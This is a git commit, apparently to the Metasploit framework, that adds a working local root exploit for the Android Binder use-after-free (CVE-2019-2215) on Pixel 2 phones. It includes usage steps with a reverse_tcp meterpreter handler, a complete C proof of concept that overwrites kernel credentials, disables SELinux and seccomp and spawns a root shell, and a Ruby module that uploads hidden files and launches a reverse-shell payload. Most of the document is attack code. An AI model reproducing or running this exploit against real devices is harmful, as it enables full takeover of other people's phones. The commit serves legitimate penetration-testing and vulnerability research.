Land #12465, add Android Binder UAF (CVE-2019-2215)

This commit is contained in:
Brent Cook 2020-02-23 01:06:33 -08:00
commit f59ec03c42
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
7 changed files with 525 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,40 @@
## Vulnerable Application
This exploit module currently targets a very specific build of Android on specific set of hardware targets:
- Google Pixel 2 or Pixel XL 2 phones running the September 2019 security patch level.
This exploit module would have to be retargeted for any other potentially vulnerable build or hardware target.
One difficult issue with the Google Pixel 2 is that, while many Google phones have an unlocked bootloader, making it easy to download older Android revisions, the latest Pixel 2 updates show this feature has been disabled or broken [older revisions to the device firmware](https://developers.google.com/android/images). This may be a firmware bug or intentional, but Google themselves do not appear to have an answer [for the problem](https://support.google.com/pixelphone/thread/14920605?hl=en). For testing, you may need a phone never updated to a later Android revision.
## Verification Steps
- Get an android meterpreter session on a Pixel 2 or Pixel XL 2 with the right kernel:
`msfconsole -qx "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j`
- Currently this only works on the Pixel 2 (and Pixel 2 XL) with september 2019 Security patch level. Validate the kernel version looks like this:
```
uname -a
Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
```
- Run the exploit:
```
msf5 exploit(multi/handler) > use exploit/android/local/binder_uaf
msf5 exploit(android/local/binder_uaf) > set LHOST IPADDR
msf5 exploit(android/local/binder_uaf) > set LPORT 4448 (different from your Android meterpreter port)
LPORT => 4448
msf5 exploit(android/local/binder_uaf) > set SESSION -1
SESSION => -1
msf5 exploit(android/local/binder_uaf) > run
```
- **Verify** the new session can read and write private application data (in /data/data/..../)
## Scenarios
This module illustrates a privesc that, when chained with other exploit vectors, could turn an unprivileged sandboxed exploit into a sandbox escape and system compromise. Note that the target application may need to match the kernel CPU type, so for instance a 64-bit Chrome would need to be targeted with a 64-bit kernel.

View File

@ -0,0 +1,11 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_SRC_FILES := \
poc.c
LOCAL_MODULE := poc
include $(BUILD_EXECUTABLE)

View File

@ -0,0 +1,15 @@
all: build
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a
push: build
adb push libs/arm64-v8a/poc /data/local/tmp/poc
install: build
cp libs/arm64-v8a/poc ../../../../data/exploits/CVE-2019-2215/exploit
clean:
rm -rf libs
rm -rf obj

View File

@ -0,0 +1,12 @@
## CVE-2019-2215
Copy and pasted from:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/
https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c

View File

@ -0,0 +1,379 @@
/*
* POC to gain arbitrary kernel R/W access using CVE-2019-2215
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
*
* Jann Horn & Maddie Stone of Google Project Zero
*
* 3 October 2019
*/
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define BINDER_THREAD_EXIT 0x40046208ul
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
#define BINDER_THREAD_SZ 0x190
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
#define WAITQUEUE_OFFSET 0xA0
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
void hexdump_memory(unsigned char *buf, size_t byte_count) {
unsigned long byte_offset_start = 0;
if (byte_count % 16)
errx(1, "hexdump_memory called with non-full line");
for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
byte_offset += 16) {
char line[1000];
char *linep = line;
linep += sprintf(linep, "%08lx ", byte_offset);
for (int i=0; i<16; i++) {
linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
}
linep += sprintf(linep, " |");
for (int i=0; i<16; i++) {
char c = buf[byte_offset + i];
if (isalnum(c) || ispunct(c) || c == ' ') {
*(linep++) = c;
} else {
*(linep++) = '.';
}
}
linep += sprintf(linep, "|");
puts(line);
}
}
int epfd;
void *dummy_page_4g_aligned;
unsigned long current_ptr;
int binder_fd;
void leak_task_struct(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;
int b;
int pipefd[2];
if (pipe(pipefd)) err(1, "pipe");
if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
static char page_buffer[0x1000];
//if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");
pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
// first page: dummy data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
close(pipefd[1]);
printf("CHILD: Finished write to FIFO.\n");
exit(0);
}
//printf("PARENT: Calling READV\n");
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
printf("writev() returns 0x%x\n", (unsigned int)b);
// second page: leaked data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
//hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));
printf("PARENT: Finished calling READV\n");
int status;
if (wait(&status) != fork_ret) err(1, "wait");
current_ptr = *(unsigned long *)(page_buffer + 0xe8);
printf("current_ptr == 0x%lx\n", current_ptr);
}
void clobber_addr_limit(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
unsigned long second_write_chunk[] = {
1, /* iov_len */
0xdeadbeef, /* iov_base (already used) */
0x8 + 2 * 0x10, /* iov_len (already used) */
current_ptr + 0x8, /* next iov_base (addr_limit) */
8, /* next iov_len (sizeof(addr_limit)) */
0xfffffffffffffffe /* value to write */
};
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */
int socks[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");
pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
err(1, "write second chunk to socket");
exit(0);
}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
struct msghdr msg = {
.msg_iov = iovec_array,
.msg_iovlen = IOVEC_ARRAY_SZ
};
int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
(unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
}
int kernel_rw_pipe[2];
void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
}
void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory");
if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
}
unsigned long kernel_read_ulong(unsigned long kaddr) {
unsigned long data;
kernel_read(kaddr, &data, sizeof(data));
return data;
}
unsigned long kernel_read_uint(unsigned long kaddr) {
unsigned int data;
kernel_read(kaddr, &data, sizeof(data));
return data;
}
void kernel_write_ulong(unsigned long kaddr, unsigned long data) {
kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uint(unsigned long kaddr, unsigned int data) {
kernel_write(kaddr, &data, sizeof(data));
}
// Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
// data from `pahole` on my own build with the same .config
#define OFFSET__task_struct__mm 0x520
#define OFFSET__task_struct__cred 0x790
#define OFFSET__mm_struct__user_ns 0x300
#define OFFSET__uts_namespace__name__version 0xc7
// SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
#define SYMBOL__init_user_ns 0x202f2c8
#define SYMBOL__init_task 0x20257d0
#define SYMBOL__init_uts_ns 0x20255c0
#define OFFSET__task_struct__thread_info__flags 0
#define SYMBOL__selinux_enforcing 0x23ce4a8 // Grant: recovered using droidimg+miasm
int main(void) {
printf("Starting POC\n");
//pin_to(0);
dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (dummy_page_4g_aligned != (void*)0x100000000UL)
err(1, "mmap 4g aligned");
if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");
binder_fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
leak_task_struct();
clobber_addr_limit();
setbuf(stdout, NULL);
printf("should have stable kernel R/W now\n");
/*size_t readsize = 0x1000;*/
/*void* readbuf = malloc(readsize);*/
/*kernel_read(current_ptr, readbuf, readsize);*/
/*hexdump_memory(readbuf, readsize);*/
/*in case you want to do stuff with the creds, to show that you can get them:*/
unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
printf("current->mm == 0x%lx\n", current_mm);
unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
printf("kernel base is 0x%lx\n", kernel_base);
if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
unsigned long init_task = kernel_base + SYMBOL__init_task;
printf("&init_task == 0x%lx\n", init_task);
unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
printf("init_task.cred == 0x%lx\n", init_task_cred);
unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
printf("current->cred == 0x%lx\n", my_cred);
unsigned long my_uid = my_cred + 4;
unsigned long my_suid = my_uid + 8;
unsigned long my_euid = my_uid + 16;
unsigned long my_fsuid = my_uid + 24;
unsigned long uid = kernel_read_ulong(my_uid);
printf("uid == 0x%lx\n", uid);
kernel_write_ulong(my_uid, 0);
unsigned long suid = kernel_read_ulong(my_suid);
printf("suid == 0x%lx\n", suid);
kernel_write_ulong(my_suid, 0);
unsigned long euid = kernel_read_ulong(my_euid);
printf("euid == 0x%lx\n", euid);
kernel_write_ulong(my_euid, 0);
unsigned long fsuid = kernel_read_ulong(my_fsuid);
printf("fsuid == 0x%lx\n", fsuid);
kernel_write_ulong(my_fsuid, 0);
if (getuid() != 0) {
printf("Something went wrong changing our UID to root!\n");
exit(1);
}
// reset securebits
kernel_write_uint(my_cred+0x24, 0);
// change capabilities to everything (perm, effective, bounding)
for (int i = 0; i < 3; i++)
kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL);
printf("Capabilities set to ALL\n");
#if 0
// Grant: this was a failed attempt of just changing my SELinux SID to init's (sid = 7)
// It was "working", but my process's pty would hang, so I couldnt interact with a shell
// From here I just disabled SELinux
// change SID to init
for (int i = 0; i < 2; i++)
kernel_write_uint(current_cred_security + i*4, 1);
printf("[+] before 2\n");
kernel_write_uint(current_cred_security + 0, 1);
printf("[+] before 3\n");
kernel_write_uint(current_cred_security + 8, 7);
kernel_write_ulong(current_cred_security, 0x0100000001UL);
kernel_write_uint(current_cred_security + 8, 7);
printf("[+] SID -> init (7)\n");
#endif
// Grant: was checking for this earlier, but it's not set, so I moved on
// printf("PR_GET_NO_NEW_PRIVS %d\n", prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0));
unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
printf("SELinux status = %u\n", enforcing);
if (enforcing) {
printf("Setting SELinux to permissive\n");
kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
} else {
printf("SELinux is already in permissive mode\n");
}
// Grant: We want to be as powerful as init, which includes mounting in the global namespace
printf("Re-joining the init mount namespace...\n");
int fd = open("/proc/1/ns/mnt", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
if (setns(fd, CLONE_NEWNS) < 0) {
perror("setns");
exit(1);
}
printf("Re-joining the init net namespace...\n");
fd = open("/proc/1/ns/net", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
if (setns(fd, CLONE_NEWNET) < 0) {
perror("setns");
exit(1);
}
// Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts
if (prctl(PR_GET_SECCOMP) != 0) {
printf("Disabling SECCOMP\n");
// Grant: we need to clear TIF_SECCOMP from task first, otherwise, kernel WARN
// clear the TIF_SECCOMP flag and everything else :P (feel free to modify this to just clear the single flag)
// arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11
kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0);
if (prctl(PR_GET_SECCOMP) != 0) {
printf("Failed to disable SECCOMP!\n");
exit(1);
} else {
printf("SECCOMP disabled!\n");
}
} else {
printf("SECCOMP is already disabled!\n");
}
/*kernel_read(my_cred, readbuf, readsize);*/
/*hexdump_memory(readbuf, readsize);*/
system("/system/bin/sh -i");
/*unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;*/
/*char new_uts_version[] = "EXPLOITED KERNEL";*/
/*kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));*/
}

View File

@ -0,0 +1,68 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Common
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => "Android Binder Use-After-Free Exploit",
'Description' => %q{
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # discovery and exploit
'Maddie Stone', # discovery and exploit
'grant-h', # Qu1ckR00t
'timwr', # metasploit module
],
'References' => [
[ 'CVE', '2019-2215' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],
[ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],
[ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],
],
'DisclosureDate' => "Sep 26 2019",
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ "android", "linux" ],
'Arch' => [ ARCH_AARCH64 ],
'Targets' => [[ 'Auto', {} ]],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
'WfsDelay' => 5,
},
'DefaultTarget' => 0,
}
))
end
def upload_and_chmodx(path, data)
write_file path, data
chmod(path)
register_file_for_cleanup(path)
end
def exploit
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" )
exploit_data = File.read(local_file, {:mode => 'rb'})
workingdir = session.fs.dir.getwd
exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
upload_and_chmodx(exploit_file, exploit_data)
payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
upload_and_chmodx(payload_file, generate_payload_exe)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")
print_status("Exploit result:\n#{result}")
end
end